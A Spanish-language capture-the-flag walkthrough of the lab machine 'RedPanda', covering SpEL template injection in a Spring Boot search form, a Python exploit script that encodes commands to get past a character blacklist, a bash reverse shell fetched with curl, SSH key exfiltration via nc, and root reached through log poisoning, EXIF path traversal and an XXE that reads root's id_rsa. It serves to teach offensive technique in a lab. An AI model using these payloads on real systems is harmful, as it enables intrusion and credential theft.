RedPanda
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El8080corre una web en Spring Boot con un buscador que refleja la entrada: vulnerable a SSTI. El*{7*7}confirma motor Spring (SpEL); con un payload que codifica el comando carácter a carácter (para esquivar el filtro de$) se consigue RCE y shell comowoodenk(user). Pararoot: el usuario está en el grupologs, y un proceso Java que corre comoroot(LogParser) parsearedpanda.logperiódicamente. Encadenando envenenamiento del log (cabeceraUser-Agent), metadatos EXIF de una imagen (campoArtist) y un XXE en el XML que el parser lee, se exfiltra laid_rsaderoot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que el host responde y mirar el TTL (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.170
64 bytes from 10.10.11.170: icmp_seq=1 ttl=63 time=98.2 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo UDP: nada
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.170 | grep -v 'no-response'
Initiating UDP Scan
Scanning 10.10.11.170 [100 ports]
Completed UDP Scan (100 total ports)
Nmap scan report for 10.10.11.170
Host is up, received user-set.
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scannedTabla vacía. Se enseña precisamente porque está vacía: descarta de golpe SNMP, TFTP, NFS y todo lo que suele esconderse en UDP, y ahorra al lector preguntarse si se llegó a mirar.
Escaneo de puertos
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.170 -oG scan
Discovered open port 22/tcp on 10.10.11.170
Discovered open port 8080/tcp on 10.10.11.170
Completed SYN Stealth Scan (65535 total ports)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63Dos puertos, y el 22 sin credenciales no es un vector: todo tiene que salir del 8080.

Extracting information...
IP Address: 10.10.11.170
Open ports: 22,8080
Ports copied to clipboardnmap -p22,8080 -sCV 10.10.11.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl http-title lo dice claro: "Made with Spring Boot". Ese dato no es decorativo: identifica el motor de plantillas que hay detrás, y por tanto la sintaxis exacta que habrá que usar más adelante.
whatweb 10.10.11.170:8080
http://10.10.11.170:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.11.170],
Title[Red Panda Search | Made with Spring Boot]Wappalyzer, que suele complementar a whatweb, aquí no aporta: solo detecta la tipografía.

Font scripts
Font AwesomeLo cual, en negativo, ya dice algo: no hay un CMS ni un framework reconocible por firmas, así que la única pista del stack es la que dio el título de la página.
El código fuente de la portada no esconde nada:

Y la enumeración de rutas devuelve muy poco:
dirsearch -u http://10.10.11.170:8080/ --exclude-status=403,404
[20:54:59] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[20:55:00] 400 - 435B - /a%5c.aspx
[20:55:21] 500 - 86B - /error
[20:55:44] 405 - 117B - /search
[20:55:48] 200 - 987B - /stats
Task CompletedDos hallazgos, y ambos por su código de estado, no por su contenido: /search devuelve 405 (método no permitido, o sea que existe pero solo acepta POST, que es justo lo que hace el buscador de la portada) y /stats un 200. El /error con 500 es la página de error por defecto de Spring Boot, otra confirmación del framework. No hay más superficie: el foco está en el buscador.
Shell como woodenk
SSTI en el buscador (motor Spring)
La única funcionalidad de la web es su buscador, así que se prueba con una cadena cualquiera:

Y la entrada aparece tal cual en la respuesta:

Input reflejado + motor de plantillas conocido es el escenario de manual para probar SSTI. El primer payload es el genérico:

You searched for: {{7*7}}
There are 0 results for your searchSe refleja literal, sin evaluar. Mucha gente cierra aquí y da la web por no vulnerable, pero {{...}} es la sintaxis de Jinja2/Twig/Handlebars, no la de Spring. La tabla de PayloadsAllTheThings recuerda que Spring usa expresiones de selección con *{...} (SpEL):


You searched for: 49
There are 0 results for your search49. Confirmado el SSTI sobre SpEL (Spring Expression Language). La lección es que el payload genérico fallando no descarta nada: descarta ese motor.
De SSTI a RCE
El mismo repositorio trae, en su fichero de SSTI para Java, los payloads que van más allá de la aritmética. Hay dos variantes de la misma idea, y merece la pena fijarse en la segunda:

Java - Retrieve Environment Variables
${T(java.lang.System).getenv()}
Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99...La primera se limita a ejecutar; la segunda envuelve la ejecución en IOUtils.toString(...) para leer su salida y, además, construye el comando con Character.toString(...) a partir de códigos numéricos. Esos dos detalles van a ser exactamente lo que haga falta aquí, pero se llega a ellos por partes.
El siguiente paso es pasar de evaluar aritmética a ejecutar comandos, con la expresión SpEL que invoca Runtime.getRuntime().exec(...). Primero tal cual viene en la documentación:
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
You searched for: Error occured: banned charactersbanned characters. Hay una lista negra, y el $ está en ella (por eso el *{7*7} sí funcionaba). Se sustituye el prefijo por el que ya sabemos que pasa:
*{T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
You searched for: Process[pid=2312, exitValue="not exited"]Cambio de mensaje, y es un avance enorme: Process[pid=2312, exitValue="not exited"] es lo que Java imprime al convertir a texto un objeto Process. Es decir, el comando se ha ejecutado (existe un PID real), pero lo que se devuelve es el objeto, no su salida. Falta envolverlo para leer el InputStream del proceso, y ahí es donde entra IOUtils.toString(...).
Además hay que sortear la lista negra en el propio comando. El truco es construir la cadena carácter a carácter desde su código ASCII con T(java.lang.Character).toString(N), evitando comillas y símbolos prohibidos:

El payload que lee /etc/passwd queda así (abreviado):
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime()
.exec(T(java.lang.Character).toString(99).concat(...)) .getInputStream())}
La respuesta refleja /etc/passwd entero: tenemos RCE.

Escribir ese payload a mano por cada comando es inviable (cat /etc/passwd son quince llamadas a toString()), así que lo automatizamos con un script de Python que recibe el comando, lo convierte a la cadena de concat(...) y lanza la petición:
#!/usr/bin/python3
import sys, requests, re
def makePayload():
command = sys.argv[1]
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % ord(command[0])
for character in command[1:]:
payload += ".concat(T(java.lang.Character).toString(%s))" % ord(character)
payload += ").getInputStream())}"
return payload
def makeRequest(payload):
r = requests.post("http://10.10.11.170:8080/search", data={'name': payload})
m = re.search(r'<h2 class="searched">(?:You searched for:\s*)?(.*?)</h2>', r.text, re.DOTALL | re.IGNORECASE)
if m: print(m.group(1).strip())
makeRequest(makePayload())
La expresión regular del makeRequest es lo que hace el script usable: extrae solo el contenido del <h2 class="searched"> de la respuesta, así que por consola sale la salida del comando y nada más.
Reverse shell
Con el script ya es directo: dejamos un script de reverse shell servido por HTTP, lo descargamos y lo ejecutamos en la víctima:
echo 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"' > shell.sh
python3 -m http.server 80
nc -nlvp 443
python3 RCE.py "curl http://10.10.16.6/shell.sh -o /tmp/shell.sh"
python3 RCE.py "chmod +x /tmp/shell.sh"
python3 RCE.py "/bin/bash /tmp/shell.sh"
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)Shell como woodenk, con un detalle importante: pertenece al grupo logs. La flag de usuario:
cat user.txt
cead9522f2e19a8922c1e2185ea23836Antes de seguir conviene dejar persistencia con un par de claves SSH, porque una reverse shell se cae al menor tropiezo:
ssh-keygen -t rsa -b 2048 -f /home/woodenk/.ssh/id_rsa -N '' -q
cat /home/woodenk/.ssh/id_rsa.pub > /home/woodenk/.ssh/authorized_keys
chmod 600 /home/woodenk/.ssh/authorized_keys
cat /home/woodenk/.ssh/id_rsa | nc 10.10.16.6 443 # y en el atacante: nc -nlvp 443 > id_rsa
woodenk@redpanda:~$ ls -l .ssh
total 8
-rw------- 1 woodenk logs 1823 Oct 13 13:24 id_rsa
-rw-r--r-- 1 woodenk logs 398 Oct 13 13:24 id_rsa.pub
woodenk@redpanda:~/.ssh$ which nc
/usr/bin/nc
# en el atacante:
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.170] 47704El which nc no es un capricho: si el binario no estuviera, habría que sacar la clave por otra vía (base64 por la propia webshell, por ejemplo).
chmod 600 id_rsa
ssh -i id_rsa woodenk@10.10.11.170
id
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)Ojo al detalle: el id de la sesión SSH ya no incluye 1001(logs), mientras que el de la reverse shell sí lo tenía. El motivo es que el proceso Java del que colgaba la reverse shell corre con ese grupo suplementario, y una sesión SSH limpia solo carga los grupos del usuario. Para el siguiente paso hay que tenerlo presente: conviene trabajar desde la reverse shell, o los ficheros del grupo logs quedarán fuera de alcance.
Escalada de privilegios a root
El grupo logs y un parser Java periódico
Listamos los recursos del grupo logs:
find / -group logs 2>/dev/null | grep -vE 'home|proc'
curl 127.0.0.1:8080 &>/dev/null
cat /opt/panda_search/redpanda.log
/opt/panda_search/redpanda.log
/credits
...
200 || 127.0.0.1 || curl/7.68.0 || /El fichero /opt/panda_search/redpanda.log registra cada petición con el formato status_code || ip || user_agent || uri, y dos de esos campos (user_agent y uri) son controlables por el atacante. Además, las entradas que añadimos desaparecen a los pocos minutos, señal de que algún proceso de root toca el fichero. Monitorizamos procesos con un script en bash:
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|procmon|kworker"
old_process=$new_process
done
> /usr/sbin/CRON -f
> /bin/sh -c /root/run_credits.sh
> java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
> /bin/bash /opt/cleanup.shEntre el ruido aparece un proceso Java ejecutado por root desde un cron: java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar. Eso explica el comportamiento del log. Localizamos el código fuente y lo leemos:
grep -r 'redpanda.log' /opt/credit-score/LogParser
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:
File log_fd = new File("/opt/panda_search/redpanda.log");Una sola coincidencia en todo el árbol, y apunta directamente al fichero fuente. Para leerlo con comodidad (resaltado de sintaxis incluido) se transfiere a la máquina atacante:
cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java | nc 10.10.16.6 4444
# en el atacante: sudo nc -nlvp 4444 > app.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
...
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.XMLOutputter;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);Los import de arriba ya cuentan media historia: com.drew.imaging.jpeg es la librería que lee metadatos EXIF y org.jdom2.input.SAXBuilder es un parser XML. Las dos piezas del ataque están declaradas en la cabecera del fichero.
Qué hace App.java
Leyendo el código función a función se entiende la cadena que abusaremos.

main() abre redpanda.log y lo recorre línea a línea, llamando a isImage() con cada una.

isImage() filtra: solo siguen adelante las líneas que contengan .jpg.

parseLog() parte la línea por | y asigna los campos en orden: status_code, ip, user_agent y uri. Aquí está la primera grieta: si el User-Agent que enviamos contiene un |, desplaza los campos y el contenido que pongamos detrás acaba en uri.

getArtist() toma ese uri (que apunta a un .jpg), abre la imagen y lee su metadato Artist con una librería EXIF. Segunda grieta: ese metadato lo controlamos con exiftool.

De vuelta en main(), se construye la ruta /credits/ + artist + _creds.xml y addViewTo() la parsea como XML. Tercera grieta, y la definitiva: un parser XML que abre un fichero cuya ruta hemos elegido.
Tres piezas encadenables: controlamos el uri del log (y por tanto qué imagen lee), controlamos el metadato Artist de esa imagen (y por tanto la ruta del XML), y el programa parsea un XML que podemos pre-crear: terreno perfecto para un XXE.
XXE vía log + metadatos EXIF
Primero preparamos una imagen cuyo metadato Artist sea una ruta que saque el XML fuera de /credits/, hacia /tmp (escribible por nosotros):
La imagen la sirve la propia web, así que su ruta se saca del menú contextual del navegador sobre cualquiera de los resultados:

wget http://10.10.11.170:8080/img/florida.jpg -O jaime.jpg
exiftool -Artist='../../../../../../../../../tmp/jaime' jaime.jpg
exiftool jaime.jpg | grep -i artist
Artist : ../../../../../../../../../tmp/jaimeSe sube jaime.jpg a /tmp de la víctima sirviéndola por HTTP desde la máquina atacante:
python3 -m http.server 80 # en el atacante
wget http://10.10.16.6/jaime.jpg # en la víctima, desde /tmp
ls
woodenk@redpanda:/tmp$ wget http://10.10.16.6/jaime.jpg
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 111378 (109K) [image/jpeg]
Saving to: 'jaime.jpg'
jaime.jpg 100%[===================>] 108.77K 147KB/s in 0.7s
2025-10-13 15:49:54 (147 KB/s) - 'jaime.jpg' saved [111378/111378]
woodenk@redpanda:/tmp$ ls
hsperfdata_root hsperfdata_woodenk jaime.jpg shell.sh ...
# y en el servidor HTTP del atacante:
10.10.11.170 - - [13/Oct/2025 17:49:52] "GET /jaime.jpg HTTP/1.1" 200 -Para el XML no hay que inventarse la estructura: al pie de cada resultado de búsqueda hay un enlace con el autor de la ficha.

Ese enlace lleva a un export.xml que la propia aplicación genera, y que sirve de plantilla válida.

wget "http://10.10.11.170:8080/export.xml?author=woodenk"
cat "export.xml?author=woodenk"
nano jaime_creds.xml
Se crea en /tmp el XML que el parser leerá (/tmp/jaime_creds.xml), con un payload XXE que define una entidad externa apuntando a la id_rsa de root y la coloca en un campo que se reflejará:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>&xxe;</author>
...
</credits>Ahora envenenamos el log: una petición con un User-Agent que, al partir por |, deja en el campo uri la ruta a nuestra imagen:
curl 10.10.11.170:8080 -s -X GET -A "prueba:||/../../../../../../../../../../tmp/jaime.jpg" &>/dev/null
cat /opt/panda_search/redpanda.log
200 || 10.10.16.6 || prueba: || /../../../../../../../../../../tmp/jaime.jpgLos dos | del User-Agent han hecho su trabajo: el tercer campo se queda con prueba: y la ruta de nuestra imagen aterriza en el cuarto, que es el uri que getArtist() va a abrir. Ahora solo hay que esperar a que el cron dispare el parser.
Cuando el proceso Java de root procesa esa línea: lee /tmp/jaime.jpg, saca de su Artist la ruta ../../../tmp/jaime, construye /tmp/jaime_creds.xml, y parsea nuestro XML. El parser resuelve la entidad externa y vuelca la id_rsa de root en el campo author:

<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ...
-----END OPENSSH PRIVATE KEY-----</author>Guardamos la clave y le ponemos permisos 600 (sin eso, ssh la rechaza por ser legible por otros):
nano id_rsa
chmod 600 id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
<SNIP>
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----El comentario final de la clave, root@redpanda, confirma de quién es antes de gastar un intento de conexión.
ssh -i id_rsa root@10.10.11.170
cat /root/root.txt
6a64fcf8a9d97378c96f7894e0f013b7Cadena de ataque
nmap (22, 8080) → Spring Boot
└─> buscador refleja la entrada → SSTI; *{7*7} confirma SpEL (bypass de $)
└─> SpEL exec() con cadena codificada en ASCII → RCE → shell woodenk (user.txt, grupo logs)
└─> redpanda.log (grupo logs) + proceso root java LogParser
└─> App.java: log.uri → imagen .jpg → metadato Artist → /credits/<artist>_creds.xml (parseado)
└─> exiftool Artist=../../tmp/jaime + User-Agent envenena uri + XML con XXE
└─> parser root resuelve file:///root/.ssh/id_rsa → id_rsa de root
└─> ssh -i id_rsa root → root (root.txt)Lecciones aprendidas
- SSTI: probar la sintaxis de cada motor antes de descartar.
${7*7}falló, pero*{7*7}(SpEL de Spring) funcionó. Conocer el stack (aquí, "Made with Spring Boot") orienta el payload correcto. - Los filtros de caracteres se esquivan. Con el
$bloqueado, construir el comando carácter a carácter desde su código ASCII (Character.toString(N).concat(...)) sortea el filtro: una lista negra rara vez cubre todas las codificaciones. - Los metadatos son entrada del usuario. El campo EXIF
Artist, controlable conexiftool, dirigía la ruta de un fichero que un proceso privilegiado abría: nunca confiar en metadatos para construir rutas. - Encadenar primitivas débiles da una fuerte. Por separado, escribir en un log, editar metadatos o que un proceso lea un XML parecen inofensivos; juntos forman un XXE ejecutado como
rootque exfiltra su clave SSH. - Un parser XML inseguro es crítico. Deshabilitar la resolución de entidades externas (XXE) en el parser habría cortado toda la cadena de escalada.